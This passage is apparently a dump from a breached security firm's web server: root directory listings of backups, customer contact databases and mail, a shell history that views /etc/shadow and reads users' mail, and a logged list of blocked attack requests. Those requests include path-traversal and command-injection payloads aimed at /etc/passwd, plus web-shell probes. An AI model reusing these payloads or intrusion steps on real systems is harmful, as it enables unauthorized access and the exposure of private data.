mitsec 4096 Mar 28 2007 .trash 810 -rwxr-xr-x 1 mitsec mitsec 705 Feb 28 2008 .viminfo 811 -rwxr-xr-x 1 mitsec mitsec 5 Mar 5 2006 .whmtheme 812 -rwxr-xr-x 1 mitsec mitsec 658 Aug 21 2006 .zshrc 813 -rwxr-xr-x 1 mitsec mitsec 1361309 Mar 7 2008 CDMA WORKSHOP.rar 814 -rwxr-xr-x 1 mitsec mitsec 73025457 Mar 20 2007 MitnickDemo.wmv 815 -rwxr-xr-x 1 mitsec mitsec 20152320 Mar 7 2008 SOFTWARE PACK.rar 816 -rwxr-xr-x 1 mitsec mitsec 49569 Mar 7 2008 UNIBOX.rar 817 lrwxrwxrwx 1 mitsec mitsec 32 Jul 7 19:34 access-logs -> 818 /usr/local/apache/domlogs/mitsec 819 -rwxr-xr-x 1 mitsec mitsec 582461440 Aug 7 2007 archive.tar 820 -rwxr-xr-x 1 mitsec mitsec 607360 Sep 4 2007 arcot.ppt 821 -rwxr-xr-x 1 mitsec mitsec 30242339 Jul 25 2007 822 asterisk-1.0.8-backup-2007-07-25.tar.gz 823 -rwxr-xr-x 1 mitsec mitsec 2189910925 Oct 25 2007 824 backup-10.25.2007_23-54-41_mitsec.tar.gz 825 -rw------- 1 mitsec mitsec 3264566004 Jul 16 10:35 826 backup-7.16.2009_10-22-58_mitsec.tar.gz 827 -rw------- 1 mitsec mitsec 3264029970 Jul 8 16:51 828 backup-7.8.2009_16-39-47_mitsec.tar.gz 829 -rwxr-xr-x 1 mitsec mitsec 617186883 Aug 19 2007 backup-8.19.2007.tar.gz 830 -rwxr-xr-x 1 mitsec mitsec 90279 Nov 6 2006 badboys.mp3 831 -rwxr-xr-x 1 mitsec mitsec 211 May 5 2007 boot.ini 832 -rwxr-xr-x 1 mitsec mitsec 5305344 Feb 7 2007 circosec-FINAL.ppt 833 -rwxr-xr-x 1 mitsec mitsec 5299200 Jan 8 2007 circosec.ppt 834 -rwxr-xr-x 1 mitsec mitsec 99001 Nov 21 2007 clid.tar.gz 835 -rwxr-xr-x 1 mitsec mitsec 50838 Jun 20 03:10 contact_form.php 836 drwxr-xr-x 4 mitsec mitsec 4096 Sep 1 2008 cpanel3-skel 837 -rwxr-xr-x 1 mitsec mitsec 1 Jan 20 22:01 cpbackup-exclude.conf 838 drwxr-xr-x 2 mitsec mitsec 4096 Mar 18 00:19 cpmove.psql 839 drwxr-xr-x 3 mitsec mitsec 4096 Sep 1 2008 cpmove.psql.1220367507 840 drwxr-xr-x 3 mitsec mitsec 4096 Sep 2 2008 cpmove.psql.1237665475 841 -rwxr-xr-x 1 mitsec mitsec 238515 Aug 19 2007 error_log 842 -rwxr-xr-x 1 mitsec mitsec 72854668 Aug 3 2008 error_log.txt 843 drwxr-x--- 14 mitsec mail 4096 Oct 23 2008 etc 844 -rwxr-xr-x 1 mitsec mitsec 33449 Nov 24 2007 etcasterisk.tar.gz 845 -rwxr-xr-x 1 mitsec mitsec 74625550 Oct 20 2007 files.zip 846 -rwxr-xr-x 1 mitsec mitsec 17912486 Apr 18 2007 for-faa.zip 847 -rwxr-xr-x 1 mitsec mitsec 35938 Apr 6 2007 httpd.conf 848 -rwxr-xr-x 1 mitsec mitsec 35186 Apr 6 2007 httpd.conf.rpmnew 849 -rwxr-xr-x 1 mitsec mitsec 1515582 Nov 12 2006 issa.jpg 850 -rwxr-xr-x 1 mitsec mitsec 0 Aug 29 2006 landesk.ppt 851 -rwxr-xr-x 1 mitsec mitsec 0 Aug 29 2006 landesk1.ppt 852 -rwxr-xr-x 1 mitsec mitsec 0 Aug 29 2006 landesk2.ppt 853 drwxr-xr-x 2 mitsec mitsec 4096 Aug 13 2007 logs 854 drwxrwx--- 10 mitsec mitsec 4096 Mar 21 14:35 mail 855 -rwxr-xr-x 1 mitsec mitsec 38559604 Apr 25 2005 mitnickpromo2.mov 856 -rwxr-xr-x 1 mitsec mitsec 18084536 Apr 18 2007 mitnickpromo2.wmv 857 -rwxr-xr-x 1 mitsec mitsec 600292 Aug 7 2007 858 mitsec_mitsecmscontact.csv.zip 859 -rwxr-xr-x 1 mitsec mitsec 616494 Aug 7 2007 860 mitsec_mitsecmscontact.sql.zip 861 -rwxr-xr-x 1 mitsec mitsec 693914 Aug 7 2007 862 mitsec_mitsecmscontact.xls.zip 863 -rwxr-xr-x 1 mitsec mitsec 1506 Apr 4 2007 mod_security.conf 864 drwxr-xr-x 5 mitsec mitsec 4096 Sep 1 2008 moved 865 -rwxr-xr-x 1 mitsec mitsec 9457 Nov 18 2006 presentations.php 866 drwxr-xr-x 3 mitsec mitsec 4096 Mar 21 14:34 public_ftp 867 drwxr-xr-x 24 mitsec nobody 4096 Jul 9 10:01 public_html 868 -rwxr-xr-x 1 mitsec mitsec 11274 Apr 4 2007 ssl.conf 869 drwxr-xr-x 2 mitsec mitsec 4096 Jan 30 2008 stuff 870 drwxr-xr-x 7 mitsec mitsec 4096 Oct 10 2008 tmp 871 -rwxr-xr-x 1 mitsec mitsec 30189757 Nov 24 2007 varlib.tar.gz 872 -rwxr-xr-x 1 mitsec mitsec 66023 Jun 19 21:23 websitephp.tar.gz 873 lrwxrwxrwx 1 mitsec mitsec 11 Jul 7 19:18 www -> public_html 874 drwxr-xr-x 2 mitsec mitsec 4096 Nov 12 2006 zzhp 875 -rwxr-xr-x 1 mitsec mitsec 61314 Jun 19 22:03 zzhp.tar.gz 876 root@dc21 [~]# cat .bash_history 877 exit 878 ps aux 879 ps aux 880 users 881 who 882 cd ../ 883 ls 884 cd ../ 885 ls 886 cd bin 887 ls 888 cd ../ 889 ls 890 ls 891 cd home 892 ls 893 cd ../ 894 cd etc 895 ls 896 last 897 vi host.conf 898 ls 899 vi shadow 900 vi passwd 901 cd /usr 902 cd local 903 cd pcanel 904 cd cpanel 905 ls 906 cd bin 907 ls 908 ./rkhunter 909 cd ../ 910 ls 911 cd ../../ 912 cd ../ 913 ls 914 cd home 915 ls 916 cd mitsec/ 917 ls 918 vi error_log 919 cat error_log 920 ls -la 921 vi .bash_history 922 vi .bash_history 923 vi httpd.conf 924 vi .contactemail 925 vi .dns 926 cd logs 927 ls 928 cd ../ 929 ls 930 vi mod_security.conf 931 cd access-logs 932 last 933 cd /var/log 934 ls 935 vi messages 936 vi wtmp 937 cd ../ 938 cd ../ 939 last -a 940 last -a 941 psaux 942 psaux 943 p[s aux; exit; q 944 ps aux 945 ps aux 946 cd /scripts 947 ls 948 ./checkvirtfs 949 vi checkvirtfs 950 cd opt 951 ls 952 cd ../ 953 cd var 954 ls 955 cd ../ 956 ls 957 last 958 last -a 959 netstat -an 960 netstat 961 netstat -an 962 tcp 0 6224 ::ffff:69.65.59.78:3442 ::ffff:67.169.204.62:33145 963 ESTABLISHED 964 netstat -an | grep -i estab 965 mitsec@mitnicksecurity.com [/]# netstat -an | grep -i estab 966 Active Internet connections (servers and established) 967 tcp 0 177 69.65.59.78:25 88.102.181.144:2320 968 ESTABLISHED 969 tcp 0 0 69.65.59.78:80 124.125.89.117:55412 970 ESTABLISHED 971 tcp 0 0 69.65.59.78:80 124.125.89.117:55413 972 ESTABLISHED 973 tcp 0 0 69.65.59.78:80 124.125.89.117:55153 974 ESTABLISHED 975 tcp 0 0 69.65.59.78:80 124.125.89.117:55416 976 ESTABLISHED 977 tcp 0 0 69.65.59.78:58434 65.254.36.154:21 978 ESTABLISHED 979 tcp 0 51840 69.65.59.78:38345 65.254.36.154:49565 980 ESTABLISHED 981 tcp 0 52 ::ffff:69.65.59.78:3442 ::ffff:67.169.204.62:33145 982 ESTABLISHED 983 Active UNIX domain sockets (servers and established) 984 mitsec@mitnicksecurity.com [/]# 985 netstat -an | grep 67.169.204.62 986 netstat -an 987 98.99.158.166tcp 0 0 ::ffff:69.65.59.78:3442 988 ::ffff:98.99.158.166:64118 ESTABLISHED 989 netstat -an 990 users 991 who 992 netstat -an 993 netstat -an | grep .248 994 netstat -an 995 netstat -an | gep 67.214.58.248 996 netstat -an | grep 67.214.58.248 997 netstat 998 netstat | grep 67.214.58.248 999 netstat -an 1000 last 1001 last -a 1002 netstat | grep 216.245.214.108 1003 last 1004 exit 1005 cd public_html/ 1006 ls -tal | more 1007 exit 1008 ls 1009 cd mail 1010 ls -lta 1011 ls new 1012 cd new 1013 cat * 1014 cd .. 1015 ls 1016 ls -lta 1017 ls -l cur 1018 ls -l mitnicksecurity.com/ 1019 ls -latR | more 1020 ls 1021 cd mitnicksecurity.com/ 1022 cd kmitnick/ 1023 ls 1024 ls cur 1025 cd new 1026 ls 1027 more * 1028 cd .. 1029 cd .. 1030 cd .. 1031 ls 1032 w 1033 last mitsec 1034 exit 1035 ls 1036 cd www/ 1037 ls 1038 ls c* 1039 cd 1040 ls 1041 cd public_ 1042 cd public_html/ 1043 ls 1044 vi contact_form.php 1045 exitroot@dc21 [~]# ls -al 1046 total 10085472 1047 drwxr-xr-x 22 mitsec mitsec 4096 Jul 16 10:36 . 1048 drwxr-xr-x 12 root root 4096 Jul 16 10:36 .. 1049 -rwxr-xr-x 1 mitsec mitsec 64 Mar 20 2007 .Xauthority 1050 -rwxr-xr-x 1 mitsec mitsec 2399 Jul 9 10:01 .bash_history 1051 -rwxr-xr-x 1 mitsec mitsec 24 Feb 25 2006 .bash_logout 1052 -rwxr-xr-x 1 mitsec mitsec 191 Feb 25 2006 .bash_profile 1053 -rwxr-xr-x 1 mitsec mitsec 124 Feb 25 2006 .bashrc 1054 -rwxr-xr-x 1 mitsec mitsec 5619 Aug 21 2006 .canna 1055 -rwxr-xr-x 1 mitsec mitsec 17 Jan 30 2006 .contactemail 1056 -rwxr-xr-x 1 mitsec mitsec 10 Jan 30 2006 .contactsavetime 1057 drwxr-xr-x 5 mitsec mitsec 4096 Mar 21 12:58 .cpanel 1058 -rwxr-xr-x 1 mitsec mitsec 1682 Jan 23 2005 .cpanel-ducache 1059 -rwxr-xr-x 1 mitsec mitsec 19 Jul 17 10:46 .dns 1060 -rwxr-xr-x 1 mitsec mitsec 383 Aug 21 2006 .emacs 1061 drwxr-xr-x 5 mitsec mitsec 4096 Sep 1 2008 .fantasticodata 1062 -rwxr-xr-x 1 mitsec mitsec 16 Jul 2 23:11 .ftpquota 1063 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 .gnupg 1064 drwxr-xr-x 52 mitsec nobody 4096 Sep 1 2008 .htpasswds 1065 -rwxr-xr-x 1 mitsec mitsec 7 Sep 2 2008 .lang 1066 -rw------- 1 mitsec mitsec 14 Jul 16 10:22 .lastlogin 1067 -rwxr-xr-x 1 mitsec mitsec 35 Jan 13 2009 .lesshst 1068 -rwxr-xr-x 1 mitsec mitsec 6441532 May 6 2006 1069 .pureftpd-upload.445d6ea6.15.1358.7997c79e 1070 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 .sqmaildata 1071 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 .ssh 1072 drwxr-xr-x 2 mitsec mitsec 4096 Mar 28 2007 .trash 1073 -rwxr-xr-x 1 mitsec mitsec 705 Feb 28 2008 .viminfo 1074 -rwxr-xr-x 1 mitsec mitsec 5 Mar 5 2006 .whmtheme 1075 -rwxr-xr-x 1 mitsec mitsec 658 Aug 21 2006 .zshrc 1076 -rwxr-xr-x 1 mitsec mitsec 1361309 Mar 7 2008 CDMA WORKSHOP.rar 1077 -rwxr-xr-x 1 mitsec mitsec 73025457 Mar 20 2007 MitnickDemo.wmv 1078 -rwxr-xr-x 1 mitsec mitsec 20152320 Mar 7 2008 SOFTWARE PACK.rar 1079 -rwxr-xr-x 1 mitsec mitsec 49569 Mar 7 2008 UNIBOX.rar 1080 lrwxrwxrwx 1 mitsec mitsec 32 Jul 7 19:34 access-logs -> 1081 /usr/local/apache/domlogs/mitsec 1082 -rwxr-xr-x 1 mitsec mitsec 582461440 Aug 7 2007 archive.tar 1083 -rwxr-xr-x 1 mitsec mitsec 607360 Sep 4 2007 arcot.ppt 1084 -rwxr-xr-x 1 mitsec mitsec 30242339 Jul 25 2007 1085 asterisk-1.0.8-backup-2007-07-25.tar.gz 1086 -rwxr-xr-x 1 mitsec mitsec 2189910925 Oct 25 2007 1087 backup-10.25.2007_23-54-41_mitsec.tar.gz 1088 -rw------- 1 mitsec mitsec 3264566004 Jul 16 10:35 1089 backup-7.16.2009_10-22-58_mitsec.tar.gz 1090 -rw------- 1 mitsec mitsec 3264029970 Jul 8 16:51 1091 backup-7.8.2009_16-39-47_mitsec.tar.gz 1092 -rwxr-xr-x 1 mitsec mitsec 617186883 Aug 19 2007 backup-8.19.2007.tar.gz 1093 -rwxr-xr-x 1 mitsec mitsec 90279 Nov 6 2006 badboys.mp3 1094 -rwxr-xr-x 1 mitsec mitsec 211 May 5 2007 boot.ini 1095 -rwxr-xr-x 1 mitsec mitsec 5305344 Feb 7 2007 circosec-FINAL.ppt 1096 -rwxr-xr-x 1 mitsec mitsec 5299200 Jan 8 2007 circosec.ppt 1097 -rwxr-xr-x 1 mitsec mitsec 99001 Nov 21 2007 clid.tar.gz 1098 -rwxr-xr-x 1 mitsec mitsec 50838 Jun 20 03:10 contact_form.php 1099 drwxr-xr-x 4 mitsec mitsec 4096 Sep 1 2008 cpanel3-skel 1100 -rwxr-xr-x 1 mitsec mitsec 1 Jan 20 22:01 cpbackup-exclude.conf 1101 drwxr-xr-x 2 mitsec mitsec 4096 Mar 18 00:19 cpmove.psql 1102 drwxr-xr-x 3 mitsec mitsec 4096 Sep 1 2008 cpmove.psql.1220367507 1103 drwxr-xr-x 3 mitsec mitsec 4096 Sep 2 2008 cpmove.psql.1237665475 1104 -rwxr-xr-x 1 mitsec mitsec 238515 Aug 19 2007 error_log 1105 -rwxr-xr-x 1 mitsec mitsec 72854668 Aug 3 2008 error_log.txt 1106 drwxr-x--- 14 mitsec mail 4096 Oct 23 2008 etc 1107 -rwxr-xr-x 1 mitsec mitsec 33449 Nov 24 2007 etcasterisk.tar.gz 1108 -rwxr-xr-x 1 mitsec mitsec 74625550 Oct 20 2007 files.zip 1109 -rwxr-xr-x 1 mitsec mitsec 17912486 Apr 18 2007 for-faa.zip 1110 -rwxr-xr-x 1 mitsec mitsec 35938 Apr 6 2007 httpd.conf 1111 -rwxr-xr-x 1 mitsec mitsec 35186 Apr 6 2007 httpd.conf.rpmnew 1112 -rwxr-xr-x 1 mitsec mitsec 1515582 Nov 12 2006 issa.jpg 1113 -rwxr-xr-x 1 mitsec mitsec 0 Aug 29 2006 landesk.ppt 1114 -rwxr-xr-x 1 mitsec mitsec 0 Aug 29 2006 landesk1.ppt 1115 -rwxr-xr-x 1 mitsec mitsec 0 Aug 29 2006 landesk2.ppt 1116 drwxr-xr-x 2 mitsec mitsec 4096 Aug 13 2007 logs 1117 drwxrwx--- 10 mitsec mitsec 4096 Mar 21 14:35 mail 1118 -rwxr-xr-x 1 mitsec mitsec 38559604 Apr 25 2005 mitnickpromo2.mov 1119 -rwxr-xr-x 1 mitsec mitsec 18084536 Apr 18 2007 mitnickpromo2.wmv 1120 -rwxr-xr-x 1 mitsec mitsec 600292 Aug 7 2007 1121 mitsec_mitsecmscontact.csv.zip 1122 -rwxr-xr-x 1 mitsec mitsec 616494 Aug 7 2007 1123 mitsec_mitsecmscontact.sql.zip 1124 -rwxr-xr-x 1 mitsec mitsec 693914 Aug 7 2007 1125 mitsec_mitsecmscontact.xls.zip 1126 -rwxr-xr-x 1 mitsec mitsec 1506 Apr 4 2007 mod_security.conf 1127 drwxr-xr-x 5 mitsec mitsec 4096 Sep 1 2008 moved 1128 -rwxr-xr-x 1 mitsec mitsec 9457 Nov 18 2006 presentations.php 1129 drwxr-xr-x 3 mitsec mitsec 4096 Mar 21 14:34 public_ftp 1130 drwxr-xr-x 24 mitsec nobody 4096 Jul 9 10:01 public_html 1131 -rwxr-xr-x 1 mitsec mitsec 11274 Apr 4 2007 ssl.conf 1132 drwxr-xr-x 2 mitsec mitsec 4096 Jan 30 2008 stuff 1133 drwxr-xr-x 7 mitsec mitsec 4096 Oct 10 2008 tmp 1134 -rwxr-xr-x 1 mitsec mitsec 30189757 Nov 24 2007 varlib.tar.gz 1135 -rwxr-xr-x 1 mitsec mitsec 66023 Jun 19 21:23 websitephp.tar.gz 1136 lrwxrwxrwx 1 mitsec mitsec 11 Jul 7 19:18 www -> public_html 1137 drwxr-xr-x 2 mitsec mitsec 4096 Nov 12 2006 zzhp 1138 -rwxr-xr-x 1 mitsec mitsec 61314 Jun 19 22:03 zzhp.tar.gz 1139 root@dc21 [~]# cd www/; ls -la 1140 total 82928 1141 drwxr-xr-x 24 mitsec nobody 4096 Jul 9 10:01 . 1142 drwxr-xr-x 22 mitsec mitsec 4096 Jul 16 10:36 .. 1143 -rwxr-xr-x 1 mitsec mitsec 629 Feb 26 14:36 .htaccess 1144 -rwxr-xr-x 1 mitsec mitsec 729350 Aug 7 2007 CSC-Testimonial.pdf 1145 -rwxr-xr-x 1 mitsec mitsec 1194067 May 12 2008 1146 FBI_Pretexts_and_Cover_Techniques_May-1956.pdf 1147 -rwxr-xr-x 1 mitsec mitsec 2547699 Aug 7 2007 Mitnick_Playboy_feature.pdf 1148 -rwxr-xr-x 1 mitsec mitsec 687114 Nov 15 2008 PsychologyToday1208.pdf 1149 -rwxr-xr-x 1 mitsec mitsec 117138 Mar 1 2008 US-pretrial.pdf 1150 -rwxr-xr-x 1 mitsec mitsec 1038 Oct 20 2007 _contact_settings.php 1151 -rwxr-xr-x 1 mitsec mitsec 528 Jan 18 16:26 _footer.php 1152 -rwxr-xr-x 1 mitsec mitsec 3133 Aug 7 2007 _header.php 1153 -rwxr-xr-x 1 mitsec mitsec 1380 Mar 28 2005 _news_frontpage.php 1154 -rwxr-xr-x 1 mitsec mitsec 18277 Jun 28 15:20 _sidebar.php 1155 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 alexkasper 1156 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 amc 1157 -rwxr-xr-x 1 mitsec mitsec 37314215 Oct 20 2007 amc.zip 1158 -rwxr-xr-x 1 mitsec mitsec 2798 Aug 7 2007 aoi_reviews.php 1159 drwxr-xr-x 2 mitsec mitsec 4096 Oct 24 2008 blittle 1160 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 cgi-bin 1161 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 cialdini 1162 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 circosec 1163 drwxr-xr-x 2 mitsec mitsec 4096 May 15 01:46 clid 1164 -rwxr-xr-x 1 mitsec mitsec 2870 Aug 7 2007 company.php 1165 -rwxr-xr-x 1 mitsec mitsec 2462 Jan 13 2006 config.php 1166 drwxr-xr-x 4 mitsec mitsec 4096 Sep 1 2008 contact-admin 1167 -rwxr-xr-x 1 mitsec mitsec 2216 Aug 7 2007 contact-old.php 1168 -rwxr-xr-x 1 mitsec mitsec 2174 Mar 19 2007 contact-saved.php 1169 -rwxr-xr-x 1 mitsec mitsec 1662 Aug 26 2007 contact.php 1170 -rwxr-xr-x 1 mitsec mitsec 22744 Nov 16 2006 contact.php.bk 1171 -rwxr-xr-x 1 mitsec mitsec 22519 Nov 13 2006 contact.php.save 1172 -rwxr-xr-x 1 mitsec mitsec 1054 Aug 7 2007 contact_confirmation.php 1173 -rwxr-xr-x 1 mitsec mitsec 50576 Jun 20 03:17 contact_form.matt 1174 -rwxr-xr-x 1 mitsec mitsec 50245 Jun 9 15:45 contact_form.oldform 1175 -rwxr-xr-x 1 mitsec mitsec 50806 Jul 9 09:53 contact_form.php 1176 -rwxr-xr-x 1 mitsec mitsec 1988 Dec 7 2006 contact_new.php.bk 1177 -rwxr-xr-x 1 mitsec mitsec 8021 Nov 16 2006 contact_submit.php.bk 1178 drwxr-xr-x 3 mitsec mitsec 4096 Feb 26 14:36 defthi 1179 drwxr-xr-x 5 mitsec mitsec 4096 Sep 1 2008 dev 1180 drwxr-xr-x 3 mitsec mitsec 4096 Sep 1 2008 elsag 1181 -rwxr-xr-x 1 mitsec mitsec 1613 Jan 13 2006 error.gif 1182 -rwxr-xr-x 1 mitsec mitsec 384144 Aug 7 2007 faa.pdf 1183 -rwxr-xr-x 1 mitsec mitsec 3897 Mar 28 2005 feeds.php 1184 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 flash 1185 -rwxr-xr-x 1 mitsec mitsec 4859 Aug 22 2006 generateimage.php 1186 -rwxr-xr-x 1 mitsec mitsec 23 Nov 20 2006 googlehostedservice.html 1187 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 guillermo 1188 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 images 1189 -rwxr-xr-x 1 mitsec mitsec 12083 Mar 5 2007 index-save.php 1190 -rwxr-xr-x 1 mitsec mitsec 5394 May 18 17:28 index.php 1191 -rwxr-xr-x 1 mitsec mitsec 12077 Nov 26 2006 index.php.save 1192 -rwxr-xr-x 1 mitsec mitsec 385 Mar 21 17:59 info.txt 1193 -rwxr-xr-x 1 mitsec mitsec 1440 Aug 7 2007 investigations.php 1194 -rwxr-xr-x 1 mitsec mitsec 1515582 Aug 7 2007 issa.jpg 1195 drwxr-xr-x 3 mitsec mitsec 4096 Jun 20 03:16 jon 1196 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 keppler 1197 -rwxr-xr-x 1 mitsec mitsec 8793 Aug 7 2007 lastRSS.php 1198 drwxr-xr-x 2 mitsec mitsec 4096 Jan 20 16:51 media 1199 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 mitnick 1200 -rwxr-xr-x 1 mitsec mitsec 38559604 Aug 20 2006 mitnickpromo2.mov 1201 -rwxr-xr-x 1 mitsec mitsec 5089 Jan 13 2006 msc.css 1202 drwxr-xr-x 3 mitsec mitsec 4096 Sep 1 2008 news 1203 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 patrickau 1204 -rwxr-xr-x 1 mitsec mitsec 1088600 Oct 27 2008 pdi-testimonial.pdf 1205 -rwxr-xr-x 1 mitsec mitsec 7120 Aug 7 2007 presentations.php 1206 -rwxr-xr-x 1 mitsec mitsec 9188 Jun 28 15:21 press.php 1207 -rwxr-xr-x 1 mitsec mitsec 3487 Mar 28 2005 privacy.php 1208 -rwxr-xr-x 1 mitsec mitsec 3111 Aug 7 2007 products.php 1209 -rwxr-xr-x 1 mitsec mitsec 1200 Aug 13 2007 resources.php 1210 -rwxr-xr-x 1 mitsec mitsec 8172 Aug 7 2007 services.php 1211 -rwxr-xr-x 1 mitsec mitsec 5218 Aug 13 2007 speaking.php 1212 -rwxr-xr-x 1 mitsec mitsec 4975 Sep 29 2006 speakingold.php 1213 -rwxr-xr-x 1 mitsec mitsec 28169 Aug 7 2007 ssa.pdf 1214 -rwxr-xr-x 1 mitsec mitsec 2430 Aug 7 2007 style.css 1215 -rwxr-xr-x 1 mitsec mitsec 5731 May 18 17:28 testimonials.php 1216 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 ttf 1217 -rwxr-xr-x 1 mitsec mitsec 2726 Oct 20 2007 verify_config.php 1218 -rwxr-xr-x 1 mitsec mitsec 3928 Mar 24 17:08 video.php 1219 -rwxr-xr-x 1 mitsec mitsec 5857 Aug 22 2006 wallofshame.txt 1220 -rwxr-xr-x 1 mitsec mitsec 3034 Aug 26 2007 workshop_signup.php 1221 -rwxr-xr-x 1 mitsec mitsec 20981 Nov 16 2006 workshop_signup.php.bk 1222 -rwxr-xr-x 1 mitsec mitsec 888 Aug 7 2007 1223 workshop_signup_confirmation.php 1224 -rwxr-xr-x 1 mitsec mitsec 3305 Dec 7 2006 workshop_signup_new.php.bk 1225 -rwxr-xr-x 1 mitsec mitsec 5373 Nov 16 2006 workshop_signup_submit.php.bk 1226 -rwxr-xr-x 1 mitsec mitsec 1208 Aug 7 2007 workshops.php 1227 drwxr-xr-x 8 mitsec mitsec 4096 Sep 1 2008 zzhp 1228 root@dc21 [~]# cat wallofshame.txt 1229 Requesting IP Date Time Handler GET Host Mod_Security-Message 1230 Mod_Security-Action 1231 167.216.252.40 2006-08-22 11:20:05 1232 /images/query?mss=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd 1233 HTTP/1.1 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern 1234 match "/etc/passwd" at REQUEST_URI 403 1235 167.216.252.40 2006-08-22 11:20:03 cgi-script 9b.4d.344a.static.theplanet.com 1236 Access denied with code 403. Pattern match "xmlrpc" at REQUEST_URI 403 1237 167.216.252.40 2006-08-22 11:20:02 /phpxmlrpc/ HTTP/1.1 1238 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1239 "xmlrpc" at REQUEST_URI 403 1240 167.216.252.40 2006-08-22 11:20:01 /xmlrpc/ HTTP/1.1 1241 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1242 "xmlrpc" at REQUEST_URI 403 1243 167.216.252.40 2006-08-22 11:19:59 cgi-script 1244 /images/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1 1245 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1246 "/etc/passwd" at REQUEST_URI 403 1247 167.216.252.40 2006-08-22 11:19:57 cgi-script /webmail/rwwwshell.pl HTTP/1.1 1248 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1249 "shell\\.pl" at REQUEST_URI 403 1250 167.216.252.40 2006-08-22 11:19:56 cgi-script 1251 /webmail/bigconf.cgi?command=view_textfile&file=/etc/passwd&filters=; HTTP/1.1 1252 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1253 "/etc/passwd" at REQUEST_URI 403 1254 167.216.252.40 2006-08-22 11:19:56 cgi-script 1255 /webmail/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1 1256 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1257 "/etc/passwd" at REQUEST_URI 403 1258 167.216.252.40 2006-08-22 11:19:55 cgi-script 1259 /webmail/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1 1260 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1261 "/etc/passwd" at REQUEST_URI 403 1262 167.216.252.40 2006-08-22 11:19:54 cgi-script 1263 /webmail/whois.cgi?action=load&whois=%3Bcat+%2Fetc%2Fpasswd HTTP/1.1 1264 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1265 "/etc/passwd" at REQUEST_URI 403 1266 167.216.252.40 2006-08-22 11:19:52 /images/perl HTTP/1.1 1267 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1268 "perl " at THE_REQUEST 403 1269 167.216.252.40 2006-08-22 11:19:49 cgi-script /webmail/.htaccess HTTP/1.1 1270 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1271 "\\.htaccess" at THE_REQUEST 403 1272 167.216.252.40 2006-08-22 11:19:39 /phpMyAdmin-2.6.4/ HTTP/1.1 1273 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1274 "phpmyadmin" at REQUEST_URI 403 1275 167.216.252.40 2006-08-22 11:19:38 /phpMyAdmin-2.6.4-pl1/ HTTP/1.1 1276 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1277 "phpmyadmin" at REQUEST_URI 403 1278 167.216.252.40 2006-08-22 11:19:38 /phpMyAdmin264/ HTTP/1.1 1279 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1280 "phpmyadmin" at REQUEST_URI 403 1281 167.216.252.40 2006-08-22 11:19:36 cgi-script /images/rwwwshell.pl HTTP/1.1 1282 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1283 "shell\\.pl" at REQUEST_URI 403 1284 167.216.252.40 2006-08-22 11:19:35 cgi-script 1285 /images/bigconf.cgi?command=view_textfile&file=/etc/passwd&filters=; HTTP/1.1 1286 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1287 "/etc/passwd" at REQUEST_URI 403 1288 167.216.252.40 2006-08-22 11:19:35 cgi-script 1289 /images/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1 1290 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1291 "/etc/passwd" at REQUEST_URI 403 1292 167.216.252.40 2006-08-22 11:19:34 cgi-script 1293 /images/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1 1294 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1295 "/etc/passwd" at REQUEST_URI 403 1296 167.216.252.40 2006-08-22 11:19:33 cgi-script 1297 /images/whois.cgi?action=load&whois=%3Bcat+%2Fetc%2Fpasswd HTTP/1.1 1298 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match 1299 "/etc/passwd" at REQUEST_URI 403 1300 167.216.252.40 2006-08-22 11:19:22 1301 /nqt.php?portNum=80&queryType=all&target=someserver.com%3Bcat+/etc/passwd&Submi 1302 t=Do+It HTTP/1.1 9b.4d.344a.static.theplanet.com Access denied with code 403. 1303 Pattern match "/etc/passwd" at REQUEST_URI 403 1304 167.216.252.40 2006-08-22 11:19:20 1305 /network_query.php?portNum=80&queryType=all&target=someserver.com%3Bcat+/etc/pa 1306 sswd&Submit=Do+It HTTP/1.1 9b.4d.344a.static.theplanet.com Access denied with 1307 code 403. Pattern match "img src=javascript" at REQUEST_URI 403 1308 167.216.252.40 2006-08-22 11:19:18 /nph-cgiwrapd/ HTTP/1.1 1309 9b.4d.344a.static.theplanet.com Access denied with code 403. Pattern match "img 1310 src=javascript" at REQUEST_URI 403 1311 167.216.252.40 2006-08-22 11:19:18 /cgiwrapd/ 